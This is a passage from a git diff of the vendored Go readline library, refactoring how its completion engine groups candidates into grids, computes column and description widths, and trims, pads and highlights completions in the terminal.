comp is currently selected, overwrite any highlighting already applied. + userStyle := color.UnquoteRC(e.config.GetString("completion-selection-style")) + selectionHighlightStyle := color.Fmt(color.Bg+"255") + userStyle + candidate = selectionHighlightStyle + candidate + + if grp.aliased { + candidate += color.Reset + } + } else { + // Highlight the prefix if any and configured for it. + if e.config.GetBool("colored-completion-prefix") && e.prefix != "" { + if prefixMatch, err := regexp.Compile(fmt.Sprintf("^%s", e.prefix)); err == nil { + prefixColored := color.Bold + color.FgBlue + e.prefix + color.BoldReset + color.FgDefault + reset + candidate = prefixMatch.ReplaceAllString(candidate, prefixColored) + } + } + + candidate = reset + candidate + color.Reset + } + + return candidate + padded +} + +func (e *Engine) highlightDesc(grp *group, val Candidate, pad, row, col int, selected bool) (desc string) { + if val.Description == "" { + return color.Reset + } + + desc, padded := grp.trimDesc(val, pad) + + // If the next row has the same completions, replace the description with our hint. + if len(grp.rows) > row+1 && grp.rows[row+1][0].Description == val.Description { + desc = "|" + } else if e.IsearchRegex != nil && e.isearchBuf.Len() > 0 && !selected { + match := e.IsearchRegex.FindString(desc) + match = color.Fmt(color.Bg+"244") + match + color.Reset + color.Dim + desc = e.IsearchRegex.ReplaceAllLiteralString(desc, match) + } + + // If the comp is currently selected, overwrite any highlighting already applied. + // Replace all background reset escape sequences in it, to ensure correct display. + if row == grp.posY && col == grp.posX && grp.isCurrent && !grp.aliased { + userDescStyle := color.UnquoteRC(e.config.GetString("completion-selection-style")) + selectionHighlightStyle := color.Fmt(color.Bg+"255") + userDescStyle + desc = strings.ReplaceAll(desc, color.BgDefault, userDescStyle) + desc = selectionHighlightStyle + desc + } + + compDescStyle := color.UnquoteRC(e.config.GetString("completion-description-style")) + + return compDescStyle + desc + color.Reset + padded +} + // cropCompletions - When the user cycles through a completion list longer // than the console MaxTabCompleterRows value, we crop the completions string // so that "global" cycling (across all groups) is printed correctly. diff --git a/vendor/github.com/reeflective/readline/internal/completion/engine.go b/vendor/github.com/reeflective/readline/internal/completion/engine.go index 54de45ab3d..4532cf58d3 100644 --- a/vendor/github.com/reeflective/readline/internal/completion/engine.go +++ b/vendor/github.com/reeflective/readline/internal/completion/engine.go @@ -116,7 +116,7 @@ func (e *Engine) SkipDisplay() { func (e *Engine) Select(row, column int) { grp := e.currentGroup() - if grp == nil || len(grp.values) == 0 { + if grp == nil || len(grp.rows) == 0 { return } diff --git a/vendor/github.com/reeflective/readline/internal/completion/group.go b/vendor/github.com/reeflective/readline/internal/completion/group.go index 7d218e65ea..5252573134 100644 --- a/vendor/github.com/reeflective/readline/internal/completion/group.go +++ b/vendor/github.com/reeflective/readline/internal/completion/group.go @@ -1,32 +1,34 @@ package completion import ( - "fmt" - "regexp" + "math" "sort" + "strconv" "strings" - "unicode/utf8" "github.com/reeflective/readline/internal/color" "github.com/reeflective/readline/internal/term" + "golang.org/x/exp/slices" ) // group is used to structure different types of completions with different // display types, autosuffix removal matchers, under their tag heading. type group struct { - tag string // Printed on top of the group's completions - values [][]Candidate // Values are grouped by aliases/rows, with computed paddings. - noSpace SuffixMatcher // Suffixes to remove if a space or non-nil character is entered after the completion. - columnsWidth []int // Computed width for each column of completions, when aliases - listSeparator string // This is used to separate completion candidates from their descriptions. - list bool // Force completions to be listed instead of grided - noSort bool // Don't sort completions - aliased bool // Are their aliased completions - isCurrent bool // Currently cycling through this group, for highlighting choice - maxLength int // Each group can be limited in the number of comps offered - tcMaxLength int // Used when display is map/list, for determining message width - maxDescWidth int - maxCellLength int + tag string // Printed on top of the group's completions + rows [][]Candidate // Values are grouped by aliases/rows, with computed paddings. + noSpace SuffixMatcher // Suffixes to remove if a space or non-nil character is entered after the completion. + columnsWidth []int // Computed width for each column of completions, when aliases + descriptionsWidth []int // Computed width for each column of completions, when aliases + listSeparator string // This is used to separate completion candidates from their descriptions. + list bool // Force completions to be listed instead of grided + noSort bool // Don't sort completions + aliased bool // Are their aliased completions + preserveEscapes bool // Preserve escape sequences in the completion inserted values. + isCurrent bool // Currently cycling through this group, for highlighting choice + longestValue int // Used when display is map/list, for determining message width + longestDesc int // Used to know how much descriptions can use when there are aliases. + maxDescAllowed int // Maximum ALLOWED description width. + termWidth int // Term size queried at beginning of computes by the engine. // Selectors (position/bounds) management posX int @@ -35,334 +37,393 @@ type group struct { maxY int } -func (e *Engine) group(comps Values) { - // Compute hints once we found either any errors, - // or if we have no completions but usage strings. - defer func() { - e.hintCompletions(comps) - }() - - // Nothing else to do if no completions - if len(comps.values) == 0 { - return +// newCompletionGroup initializes a group of completions to be displayed in the same area/header. +func (e *Engine) newCompletionGroup(comps Values, tag string, vals RawValues, descriptions []string) { + grp := &group{ + tag: tag, + noSpace: comps.NoSpace, + posX: -1, + posY: -1, + columnsWidth: []int{0}, + termWidth: term.GetWidth(), + longestDesc: longest(descriptions, true), } - // Apply the prefix to the completions, and filter out any - // completions that don't match, optionally ignoring case. - matchCase := e.config.GetBool("completion-ignore-case") - comps.values = comps.values.FilterPrefix(e.prefix, !matchCase) + // Initialize all options for the group. + grp.initOptions(e, &comps, tag, vals) - comps.values.EachTag(func(tag string, values RawValues) { - // Separate the completions that have a description and - // those which don't, and devise if there are aliases. - vals, noDescVals, aliased := e.groupValues(&comps, values) + // Global actions to take on all values. + if !grp.noSort { + sort.Stable(vals) + } - // Create a "first" group with the "first" grouped values - e.newGroup(comps, tag, vals, aliased) + // Initial processing of our assigned values: + // Compute color/no-color sizes, some max/min, etc. + grp.prepareValues(vals) - // If we have a remaining group of values without descriptions, - // we will print and use them in a separate, anonymous group. - if len(noDescVals) > 0 { - e.newGroup(comps, "", noDescVals, false) - } - }) + // Generate the full grid of completions. + // Special processing is needed when some values + // share a common description, they are "aliased". + if completionsAreAliases(vals) { + grp.initCompletionAliased(vals) + } else { + grp.initCompletionsGrid(vals) + } - e.justifyGroups(comps) + e.groups = append(e.groups, grp) } -// groupValues separates values based on whether they have descriptions, or are aliases of each other. -func (e *Engine) groupValues(comps *Values, values RawValues) (vals, noDescVals RawValues, aliased bool) { - var descriptions []string +// initOptions checks for global or group-specific options (display, behavior, grouping, etc). +func (g *group) initOptions(eng *Engine, comps *Values, tag string, vals RawValues) { + // Override grid/list displays + _, g.list = comps.ListLong[tag] + if _, all := comps.ListLong["*"]; all && len(comps.ListLong) == 1 { + g.list = true + } - prefix := "" - if e.prefix != "\"\"" && e.prefix != "''" { - prefix = e.prefix + // Description list separator + listSep, err := strconv.Unquote(eng.config.GetString("completion-list-separator")) + if err != nil { + g.listSeparator = "--" + } else { + g.listSeparator = listSep } - for _, val := range values { - // Ensure all values have a display string. - if val.Display == "" { - val.Display = val.Value - } + // Strip escaped characters in the value component. + g.preserveEscapes = comps.Escapes[g.tag] + if !g.preserveEscapes { + g.preserveEscapes = comps.Escapes["*"] + } - // Currently this is because errors are passed as completions. - if strings.HasPrefix(val.Value, prefix+"ERR") && val.Value == prefix+"_" { - if val.Description != "" && comps != nil { - comps.Messages.Add(color.FgRed + val.Description) - } + // Always list long commands when they have descriptions. + if strings.HasSuffix(g.tag, "commands") && len(vals) > 0 && vals[0].Description != "" { + g.list = true + } - continue + // Description list separator + listSep, found := comps.ListSep[tag] + if !found { + if allSep, found := comps.ListSep["*"]; found { + g.listSeparator = allSep } + } else { + g.listSeparator = listSep + } - // Grid completions - if val.Description == "" { - noDescVals = append(noDescVals, val) - - continue - } + // Override sorting or sort if needed + g.noSort = comps.NoSort[tag] + if noSort, all := comps.NoSort["*"]; noSort && all && len(comps.NoSort) == 1 { + g.noSort = true + } +} - // List/map completions. - if stringInSlice(val.Description, descriptions) { - aliased = true - } +// initCompletionsGrid arranges completions when there are no aliases. +func (g *group) initCompletionsGrid(comps RawValues) { + if len(comps) == 0 { + return + } - descriptions = append(descriptions, val.Description) - vals = append(vals, val) + pairLength := g.longestValueDescribed(comps) + if pairLength > g.termWidth { + pairLength = g.termWidth } - // if no candidates have a description, swap - if len(vals) == 0 { - vals = noDescVals - noDescVals = make(RawValues, 0) + maxColumns := g.termWidth / pairLength + if g.list || maxColumns < 0 { + maxColumns = 1 } - return vals, noDescVals, aliased + rowCount := int(math.Ceil(float64(len(comps)) / (float64(maxColumns)))) + + g.rows = createGrid(comps, rowCount, maxColumns) + g.calculateMaxColumnWidths(g.rows) } -func (e *Engine) justifyGroups(values Values) { - commandGroups := make([]*group, 0) - maxCellLength := 0 +// initCompletionsGrid arranges completions when some of them share the same description. +func (g *group) initCompletionAliased(domains []Candidate) { + g.aliased = true - for _, group := range e.groups { - // Skip groups that are not to be justified - if _, justify := values.Pad[group.tag]; !justify { - if _, all := values.Pad["*"]; !all { - continue - } - } - - // Skip groups that are aliased or have more than one column - if group.aliased || len(group.columnsWidth) > 1 { - continue - } + // Filter out all duplicates: group aliased completions together. + grid, descriptions := g.createDescribedRows(domains) + g.calculateMaxColumnWidths(grid) + g.wrapExcessAliases(grid, descriptions) - commandGroups = append(commandGroups, group) + g.maxY = len(g.rows) + g.maxX = len(g.columnsWidth) +} - if group.tcMaxLength > maxCellLength { - maxCellLength = group.tcMaxLength +// This createDescribedRows function takes a list of values, a list of descriptions, and the +// terminal width as input, and returns a list of rows based on the provided requirements:. +func (g *group) createDescribedRows(values []Candidate) ([][]Candidate, []string) { + descriptionMap := make(map[string][]Candidate) + uniqueDescriptions := make([]string, 0) + rows := make([][]Candidate, 0) + + // Separate duplicates and store them. + for i, description := range values { + if slices.Contains(uniqueDescriptions, description.Description) { + descriptionMap[description.Description] = append(descriptionMap[description.Description], values[i]) + } else { + uniqueDescriptions = append(uniqueDescriptions, description.Description) + descriptionMap[description.Description] = []Candidate{values[i]} } } - for _, group := range commandGroups { - group.tcMaxLength = maxCellLength + // Sorting helps with easier grids. + for _, description := range uniqueDescriptions { + row := descriptionMap[description] + // slices.Sort(row) + // slices.Reverse(row) + rows = append(rows, row) } + + return rows, uniqueDescriptions } -func (e *Engine) newGroup(comps Values, tag string, vals RawValues, aliased bool) { - grp := &group{ - tag: tag, - noSpace: comps.NoSpace, - listSeparator: "--", - posX: -1, - posY: -1, - aliased: aliased, - columnsWidth: []int{0}, +// Wraps all rows for which there are too many aliases to be displayed on a single one. +func (g *group) wrapExcessAliases(grid [][]Candidate, descriptions []string) { + breakeven := 0 + maxColumns := len(g.columnsWidth) + + for i, width := range g.columnsWidth { + if (breakeven + width + 1) > g.termWidth/2 { + maxColumns = i + break + } + + breakeven += width + 1 } - // Check that all comps have a display value, - // and begin computing some parameters. - vals = grp.checkDisplays(vals) + var rows [][]Candidate - // Set sorting options, various display styles, etc. - grp.setOptions(comps, tag, vals) + for rowIndex := range grid { + row := grid[rowIndex] - // Keep computing/devising some parameters and constraints. - // This does not do much when we have aliased completions. - grp.computeCells(e, vals) + for len(row) > maxColumns { + rows = append(rows, row[:maxColumns]) + row = row[maxColumns:] + } - // Rearrange all candidates into a matrix of completions, - // based on most parameters computed above. - grp.makeMatrix(vals) + rows = append(rows, row) + } - e.groups = append(e.groups, grp) + g.rows = rows + g.columnsWidth = g.columnsWidth[:maxColumns] } -func (g *group) checkDisplays(vals RawValues) RawValues { - if g.aliased { - return vals - } +// prepareValues ensures all of them have a display, and starts +// gathering information on longest/shortest values, etc. +func (g *group) prepareValues(vals RawValues) RawValues { + for pos, value := range vals { + if value.Display == "" { + value.Display = value.Value + } - if len(vals) == 0 { - g.columnsWidth[0] = term.GetWidth() - 1 - } + // Only pass for colors regex should be here. + value.displayLen = len(color.Strip(value.Display)) + value.descLen = len(color.Strip(value.Description)) - // Otherwise update the size of the longest candidate - for _, val := range vals { - valLen := utf8.RuneCountInString(val.Display) - if valLen > g.columnsWidth[0] { - g.columnsWidth[0] = valLen + if value.displayLen > g.longestValue { + g.longestValue = value.displayLen } + + if value.descLen > g.longestDesc { + g.longestDesc = value.descLen + } + + vals[pos] = value } return vals } -func (g *group) setOptions(comps Values, tag string, vals RawValues) { - // Override grid/list displays - _, g.list = comps.ListLong[tag] - if _, all := comps.ListLong["*"]; all && len(comps.ListLong) == 1 { - g.list = true - } +func (g *group) setMaximumSizes(col int) int { + // Get the length of the longest description in the same column. + maxDescLen := g.descriptionsWidth[col] + valuesRealLen := sum(g.columnsWidth) + len(g.columnsWidth) + len(g.listSep()) - // Always list long commands when they have descriptions. - if strings.HasSuffix(g.tag, "commands") && len(vals) > 0 && vals[0].Description != "" { - g.list = true + if valuesRealLen+maxDescLen > g.termWidth { + maxDescLen = g.termWidth - valuesRealLen + } else if valuesRealLen+maxDescLen < g.termWidth { + maxDescLen = g.termWidth - valuesRealLen } - // Description list separator - listSep, found := comps.ListSep[tag] - if !found { - if allSep, found := comps.ListSep["*"]; found { - g.listSeparator = allSep + return maxDescLen +} + +// calculateMaxColumnWidths is in charge of optimizing the sizes of rows/columns. +func (g *group) calculateMaxColumnWidths(grid [][]Candidate) { + var numColumns int + + // Get the row with the greatest number of columns. + for _, row := range grid { + if len(row) > numColumns { + numColumns = len(row) } - } else { - g.listSeparator = listSep } - // Override sorting or sort if needed - _, g.noSort = comps.NoSort[tag] - if _, all := comps.NoSort["*"]; all && len(comps.NoSort) == 1 { - g.noSort = true - } + // First, all columns are as wide as the longest of their elements, + // regardless of if this longest element is longer than terminal + values := make([]int, numColumns) + descriptions := make([]int, numColumns) - if !g.noSort { - sort.Slice(vals, func(i, j int) bool { - return vals[i].Display < vals[j].Display - }) - } -} + for _, row := range grid { + for columnIndex, value := range row { + if value.displayLen+1 > values[columnIndex] { + values[columnIndex] = value.displayLen + 1 + } -func (g *group) computeCells(eng *Engine, vals RawValues) { - // Aliases will compute themselves individually, later. - if g.aliased { - return + if value.descLen+1 > descriptions[columnIndex] { + descriptions[columnIndex] = value.descLen + 1 + } + } } - if len(vals) == 0 { - return + // If we have only one row, it means that the number of columns + // multiplied by the size on the longest one will fit into the + // terminal, so we can just + if len(grid) == 1 && len(grid[0]) <= numColumns && sum(descriptions) == 0 { + for i := range values { + values[i] = g.longestValue + } } - g.tcMaxLength = g.columnsWidth[0] + // Last time adjustment: try to reallocate any space modulo to each column. + shouldPad := len(grid) > 1 && numColumns > 1 && sum(descriptions) == 0 + intraColumnSpace := (numColumns * 2) + totalSpaceUsed := sum(values) + sum(descriptions) + intraColumnSpace + freeSpace := g.termWidth - totalSpaceUsed - // Each value first computes the total amount of space - // it is going to take in a row (including the description) - for _, val := range vals { - candidate := g.displayTrimmed(color.Strip(val.Display)) - pad := strings.Repeat(" ", g.tcMaxLength-len(candidate)) - desc := g.descriptionTrimmed(val.Description) - display := fmt.Sprintf("%s%s%s", candidate, pad+" ", desc) - valLen := utf8.RuneCountInString(display) - - if valLen > g.maxCellLength { - g.maxCellLength = valLen + if shouldPad && !g.aliased && freeSpace >= numColumns { + each := freeSpace / numColumns + + for i := range values { + values[i] += each } } - // Adapt the maximum cell size based on inputrc settings. - compDisplayWidth := g.setMaxCellLength(eng) - - // We now have the length of the longest completion for this group, - // so we devise how many columns we can use to display completions. - g.setColumnsWidth(&vals, compDisplayWidth) + // The group is mostly ready to print and select its values for completion. + g.maxY = len(g.rows) + g.maxX = len(values) + g.columnsWidth = values + g.descriptionsWidth = descriptions } -func (g *group) setMaxCellLength(eng *Engine) int { - termWidth := term.GetWidth() +func (g *group) longestValueDescribed(vals []Candidate) int { + var longestDesc, longestVal int - compDisplayWidth := eng.config.GetInt("completion-display-width") - if compDisplayWidth > termWidth { - compDisplayWidth = -1 - } + // Equivalent to ` -- `, + // asuuming no trailing spaces in the completion + // nor leading spaces in the description. + descSeparatorLen := 1 + len(g.listSeparator) + 1 - if compDisplayWidth > 0 && compDisplayWidth < termWidth { - if g.maxCellLength < compDisplayWidth { - g.maxCellLength = compDisplayWidth - } else { - g.maxCellLength = termWidth + // Get the length of the longest value + // and the length of the longest description. + for _, val := range vals { + if val.displayLen > longestVal { + longestVal = val.displayLen } + + if val.descLen > longestDesc { + longestDesc = val.descLen + } + } + + if longestDesc > 0 { + longestDesc += descSeparatorLen } - return compDisplayWidth + // Always add one: there is at least one space between each column. + return longestVal + longestDesc + 1 } -func (g *group) setColumnsWidth(vals *RawValues, compDisplayWidth int) { - g.maxX = term.GetWidth() / (g.maxCellLength) - if g.maxX < 1 { - g.maxX = 1 // avoid a divide by zero error - } +func (g *group) trimDisplay(comp Candidate, pad, col int) (candidate, padded string) { + val := comp.Display - if g.maxX > len(*vals) { - g.maxX = len(*vals) + // No display value means padding. + if val == "" { + return "", padSpace(pad) } - if g.list || compDisplayWidth == 0 { - g.maxX = 1 - } + // Get the allowed length for this column. + // The display can never be longer than terminal width. + maxDisplayWidth := g.columnsWidth[col] + 1 - if g.maxX > compDisplayWidth && compDisplayWidth > 0 { - g.maxX = compDisplayWidth + if maxDisplayWidth > g.termWidth { + maxDisplayWidth = g.termWidth } - // We also have the width for each column - g.columnsWidth = make([]int, g.maxX) - for i := 0; i < g.maxX; i++ { - g.columnsWidth[i] = g.maxCellLength + val = sanitizer.Replace(val) + + if comp.displayLen > maxDisplayWidth { + val = color.Trim(val, maxDisplayWidth-trailingValueLen) + val += "..." // 3 dots + 1 safety space = -3 + + return val, " " } + + return val, padSpace(pad) } -func (g *group) makeMatrix(vals RawValues) { -nextValue: - for _, val := range vals { - valLen := utf8.RuneCountInString(val.Display) +func (g *group) trimDesc(val Candidate, pad int) (desc, padded string) { + desc = val.Description + if desc == "" { + return desc, padSpace(pad) + } - // If we have an alias, and we must get the right - // column and the right padding for this column. - if g.aliased { - for i, row := range g.values { - if row[0].Description == val.Description { - g.values[i] = append(row, val) - g.columnsWidth = getColumnPad(g.columnsWidth, valLen, len(g.values[i])) + // We don't compare against the terminal width: + // the correct padding should have been computed + // based on the space taken by all candidates + // described by our current string. + if pad > g.maxDescAllowed { + pad = g.maxDescAllowed - val.descLen + } - continue nextValue - } - } - } + desc = sanitizer.Replace(desc) - // Else, either add it to the current row if there is still room - // on it for this candidate, or add a new one. We only do that when - // we know we don't have aliases, or when we don't have to display list. - if !g.aliased && g.canFitInRow(term.GetWidth()) && !g.list { - g.values[len(g.values)-1] = append(g.values[len(g.values)-1], val) - } else { - // Else create a new row, and update the row pad. - g.values = append(g.values, []Candidate{val}) - if g.columnsWidth[0] < valLen+1 { - g.columnsWidth[0] = valLen + 1 - } - } - } + // Trim the description accounting for escapes. + if val.descLen > g.maxDescAllowed && g.maxDescAllowed > 0 { + desc = color.Trim(desc, g.maxDescAllowed-trailingDescLen) + desc += "..." // 3 dots = -3 - if g.aliased { - g.maxX = len(g.columnsWidth) - g.tcMaxLength = sum(g.columnsWidth) + len(g.columnsWidth) + 1 + return g.listSep() + desc, "" } - g.maxY = len(g.values) - if g.maxY > g.maxLength && g.maxLength != 0 { - g.maxY = g.maxLength + if val.descLen+pad > g.maxDescAllowed { + pad = g.maxDescAllowed - val.descLen } + + return g.listSep() + desc, padSpace(pad) } -func (g *group) canFitInRow(termWidth int) bool { - if len(g.values) == 0 { - return false +func (g *group) getPad(value Candidate, columnIndex int, desc bool) int { + columns := g.columnsWidth + var valLen = value.displayLen - 1 + + if desc { + columns = g.descriptionsWidth + valLen = value.descLen } - if termWidth/(g.maxCellLength)-1 < len(g.values[len(g.values)-1]) { - return false + // Ensure we never longer or even fully equal + // to the terminal size: we are not really sure + // of where offsets might be set in the code... + column := columns[columnIndex] + if column > g.termWidth-1 { + column = g.termWidth - 1 + } + + padding := column - valLen + + if padding < 0 { + return 0 } - return true + return padding +} + +func (g *group) listSep() string { + return g.listSeparator + " " } // @@ -379,8 +440,8 @@ func (g *group) updateIsearch(eng *Engine) { suggs := make([]Candidate, 0) - for i := range g.values { - row := g.values[i] + for i := range g.rows { + row := g.rows[i] for _, val := range row { if eng.IsearchRegex.MatchString(val.Value) { @@ -392,49 +453,36 @@ func (g *group) updateIsearch(eng *Engine) { } // Reset the group parameters - g.values = make([][]Candidate, 0) + g.rows = make([][]Candidate, 0) g.posX = -1 g.posY = -1 - g.columnsWidth = []int{0} - // Assign the filtered values: we don't need to check - // for a separate set of non-described values, as the - // completions have already been triaged when generated. - vals, _, aliased := eng.groupValues(nil, suggs) - g.aliased = aliased - - if len(vals) == 0 { - return - } - - // And perform the usual initialization routines. - vals = g.checkDisplays(vals) - g.computeCells(eng, vals) - g.makeMatrix(vals) -} + // Initial processing of our assigned values: + // Compute color/no-color sizes, some max/min, etc. + suggs = g.prepareValues(suggs) -func (g *group) firstCell() { - g.posX = 0 - g.posY = 0 -} - -func (g *group) lastCell() { - g.posY = len(g.values) - 1 - g.posX = len(g.columnsWidth) - 1 - - if g.aliased { - g.findFirstCandidate(0, -1) + // Generate the full grid of completions. + // Special processing is needed when some values + // share a common description, they are "aliased". + if completionsAreAliases(suggs) { + g.initCompletionAliased(suggs) } else { - g.posX = len(g.values[g.posY]) - 1 + g.initCompletionsGrid(suggs) } } func (g *group) selected() (comp Candidate) { + defer func() { + if !g.preserveEscapes { + comp.Value = color.Strip(comp.Value) + } + }() + if g.posY == -1 || g.posX == -1 { - return g.values[0][0] + return g.rows[0][0] } - return g.values[g.posY][g.posX] + return g.rows[g.posY][g.posX] } func (g *group) moveSelector(x, y int) (done, next bool) { @@ -462,7 +510,7 @@ func (g *group) moveSelector(x, y int) (done, next bool) { } g.posY-- - g.posX = len(g.values[g.posY]) - 1 + g.posX = len(g.rows[g.posY]) - 1 } // 2) If we are reverse-cycling and currently on the first candidate, @@ -475,7 +523,7 @@ func (g *group) moveSelector(x, y int) (done, next bool) { return true, false } - g.posY = len(g.values) - 1 + g.posY = len(g.rows) - 1 g.posX-- } @@ -491,7 +539,7 @@ func (g *group) moveSelector(x, y int) (done, next bool) { } // 4) If we are on the last column, go to next row or next group - if g.posX > len(g.values[g.posY])-1 { + if g.posX > len(g.rows[g.posY])-1 { if g.aliased { return g.findFirstCandidate(x, y) } @@ -513,7 +561,7 @@ func (g *group) moveSelector(x, y int) (done, next bool) { // otherwise loop in the direction wished until one is found, or go next/ // previous column, and so on. func (g *group) findFirstCandidate(x, y int) (done, next bool) { - for g.posX > len(g.values[g.posY])-1 { + for g.posX > len(g.rows[g.posY])-1 { g.posY += y g.posY += x @@ -526,7 +574,7 @@ func (g *group) findFirstCandidate(x, y int) (done, next bool) { return true, false } - g.posY = len(g.values) - 1 + g.posY = len(g.rows) - 1 g.posX-- } @@ -544,198 +592,69 @@ func (g *group) findFirstCandidate(x, y int) (done, next bool) { return } -func (g *group) writeComps(eng *Engine) (comp string) { - if len(g.values) == 0 { - return - } - - if g.tag != "" { - comp += fmt.Sprintf("%s%s%s %s", color.Bold, color.FgYellow, g.tag, color.Reset) + term.ClearLineAfter + term.NewlineReturn - eng.usedY++ - } - - // Base parameters - var columns, rows int - - for range g.values { - // Generate the completion string for this row (comp/aliases - // and/or descriptions), and apply any styles and isearch - // highlighting with pattern replacement, - comp += g.writeRow(eng, columns) - - columns++ - rows++ - - if rows > g.maxY { - break - } - } - - eng.usedY += rows - - return comp +func (g *group) firstCell() { + g.posX = 0 + g.posY = 0 } -func (g *group) writeRow(eng *Engine, row int) (comp string) { - current := g.values[row] - - writeDesc := func(val Candidate, x, y, pad int) string { - desc := g.highlightDescription(eng, val, y, x) - descPad := g.padDescription(current, val, pad) - - if descPad > 0 { - desc += strings.Repeat(" ", descPad) - } - - return desc - } - - for col, val := range current { - // Generate the highlighted candidate with its padding - isSelected := row == g.posY && col == g.posX && g.isCurrent - cell, pad := g.padCandidate(current, val, col) - comp += g.highlightCandidate(eng, val, cell, pad, isSelected) + " " +func (g *group) lastCell() { + g.posY = len(g.rows) - 1 + g.posX = len(g.columnsWidth) - 1 - // And append the description only if at the end of the row, - // or if there are no aliases, in which case all comps are described. - if !g.aliased || col == len(current)-1 { - comp += writeDesc(val, col, row, len(cell)+len(pad)) - } + if g.aliased { + g.findFirstCandidate(0, -1) + } else { + g.posX = len(g.rows[g.posY]) - 1 } - - comp += term.ClearLineAfter + term.NewlineReturn - - return } -func (g *group) highlightCandidate(eng *Engine, val Candidate, cell, pad string, selected bool) (candidate string) { - reset := color.Fmt(val.Style) - candidate = g.displayTrimmed(val.Display) +func completionsAreAliases(values []Candidate) bool { + oddValueMap := make(map[string]bool) - if eng.IsearchRegex != nil && eng.isearchBuf.Len() > 0 { - match := eng.IsearchRegex.FindString(candidate) - match = color.Fmt(color.Bg+"244") + match + color.Reset + reset - candidate = eng.IsearchRegex.ReplaceAllLiteralString(candidate, match) - } - - switch { - // If the comp is currently selected, overwrite any highlighting already applied. - case selected: - candidate = color.Fmt(color.Bg+"255") + color.FgBlackBright + g.displayTrimmed(color.Strip(val.Display)) - if g.aliased { - candidate += cell + color.Reset + for _, value := range values { + if value.Description == "" { + continue } - default: - // Highlight the prefix if any and configured for it. - if eng.config.GetBool("colored-completion-prefix") && eng.prefix != "" { - if prefixMatch, err := regexp.Compile(fmt.Sprintf("^%s", eng.prefix)); err == nil { - candidate = prefixMatch.ReplaceAllString(candidate, color.Bold+color.FgBlue+eng.prefix+color.BoldReset+color.FgDefault+reset) - } + if _, found := oddValueMap[value.Description]; found { + return true } - candidate = reset + candidate + color.Reset + cell + oddValueMap[value.Description] = true } - return candidate + pad + return false } -func (g *group) highlightDescription(eng *Engine, val Candidate, row, col int) (desc string) { - if val.Description == "" { - return color.Reset +func createGrid(values []Candidate, rowCount, maxColumns int) [][]Candidate { + if rowCount < 0 { + rowCount = 0 } - desc = g.descriptionTrimmed(val.Description) - - if eng.IsearchRegex != nil && eng.isearchBuf.Len() > 0 { - match := eng.IsearchRegex.FindString(desc) - match = color.Fmt(color.Bg+"244") + match + color.Reset + color.Dim - desc = eng.IsearchRegex.ReplaceAllLiteralString(desc, match) - } + grid := make([][]Candidate, rowCount) - // If the comp is currently selected, overwrite any highlighting already applied. - if row == g.posY && col == g.posX && g.isCurrent && !g.aliased { - desc = color.Fmt(color.Bg+"255") + color.FgBlackBright + g.descriptionTrimmed(val.Description) + for i := 0; i < rowCount; i++ { + grid[i] = createRow(values, maxColumns, i) } - return color.Dim + desc + color.Reset + return grid } -func (g *group) padCandidate(row []Candidate, val Candidate, col int) (cell, pad string) { - var cellLen, padLen int - valLen := utf8.RuneCountInString(val.Display) +func createRow(domains []Candidate, maxColumns, rowIndex int) []Candidate { + rowStart := rowIndex * maxColumns + rowEnd := (rowIndex + 1) * maxColumns - if !g.aliased { - padLen = g.tcMaxLength - valLen - if padLen < 0 { - padLen = 0 - } - - return "", strings.Repeat(" ", padLen) + if rowEnd > len(domains) { + rowEnd = len(domains) } - cellLen = g.columnsWidth[col] - valLen - - if len(row) == 1 { - padLen = sum(g.columnsWidth) + len(g.columnsWidth) - g.columnsWidth[col] - 1 - } - - return strings.Repeat(" ", cellLen), strings.Repeat(" ", padLen) -} - -func (g *group) padDescription(row []Candidate, val Candidate, valPad int) (pad int) { - if g.aliased { - return 1 - } - - candidateLen := len(g.displayTrimmed(val.Display)) + valPad + 1 - individualRest := (term.GetWidth() % g.maxCellLength) / (g.maxX + len(row)) - pad = g.maxCellLength - candidateLen - len(g.descriptionTrimmed(val.Description)) + individualRest - - if pad > 1 { - pad-- - } - - return pad + return domains[rowStart:rowEnd] } -func (g *group) displayTrimmed(val string) string { - termWidth := term.GetWidth() - if g.tcMaxLength > termWidth-1 { - g.tcMaxLength = termWidth - 1 +func padSpace(times int) string { + if times > 0 { + return strings.Repeat(" ", times) } - if len(val) > g.tcMaxLength { - val = val[:g.tcMaxLength-3] + "..." - } - - val = sanitizer.Replace(val) - - return val -} - -func (g *group) descriptionTrimmed(desc string) string { - if desc == "" { - return desc - } - - termWidth := term.GetWidth() - if g.tcMaxLength > termWidth { - g.tcMaxLength = termWidth - } - - g.maxDescWidth = termWidth - g.tcMaxLength - len(g.listSeparator) - 1 - - if len(desc) >= g.maxDescWidth { - offset := 4 - if !g.aliased { - offset++ - } - - desc = desc[:g.maxDescWidth-offset] + "..." - } - - desc = g.listSeparator + " " + sanitizer.Replace(desc) - - return desc + return "" } diff --git a/vendor/github.com/reeflective/readline/internal/completion/hint.go b/vendor/github.com/reeflective/readline/internal/completion/hint.go index 0aeeb979f4..42dec696d3 100644 --- a/vendor/github.com/reeflective/readline/internal/completion/hint.go +++ b/vendor/github.com/reeflective/readline/internal/completion/hint.go @@ -18,10 +18,18 @@ func (e *Engine) hintCompletions(comps Values) { } } - // And all further messages - hint += strings.Join(comps.Messages.Get(), term.NewlineReturn) + // Add application-specific messages. + // There is full support for color in them, but in case those messages + // don't include any, we tame the color a little bit first, like hints. + messages := strings.Join(comps.Messages.Get(), term.NewlineReturn) + messages = strings.TrimSuffix(messages, term.NewlineReturn) - if e.Matches() == 0 && hint == "" && !e.auto { + if messages != "" { + hint = hint + color.Dim + messages + } + + // If we don't have any completions, and no messages, let's say it. + if e.Matches() == 0 && hint == color.Dim+term.NewlineReturn && !e.auto { hint = e.hintNoMatches() } diff --git a/vendor/github.com/reeflective/readline/internal/completion/utils.go b/vendor/github.com/reeflective/readline/internal/completion/utils.go index a07223e49a..64b0c6f3f4 100644 --- a/vendor/github.com/reeflective/readline/internal/completion/utils.go +++ b/vendor/github.com/reeflective/readline/internal/completion/utils.go @@ -4,12 +4,15 @@ import ( "strings" "unicode" + "github.com/reeflective/readline/internal/color" "github.com/reeflective/readline/internal/keymap" "github.com/reeflective/readline/internal/term" ) -// Maximum ratio of the screen that described values can have. -var maxValuesAreaRatio = 0.5 +const ( + trailingDescLen = 3 + trailingValueLen = 4 +) var sanitizer = strings.NewReplacer( "\n", ``, @@ -21,16 +24,38 @@ var sanitizer = strings.NewReplacer( // and prefix/suffix strings, but does not attempt any candidate // insertion/abortion on the line. func (e *Engine) prepare(completions Values) { + e.prefix = "" e.groups = make([]*group, 0) e.setPrefix(completions) e.setSuffix(completions) + e.generate(completions) +} + +func (e *Engine) generate(completions Values) { + // Compute hints once we found either any 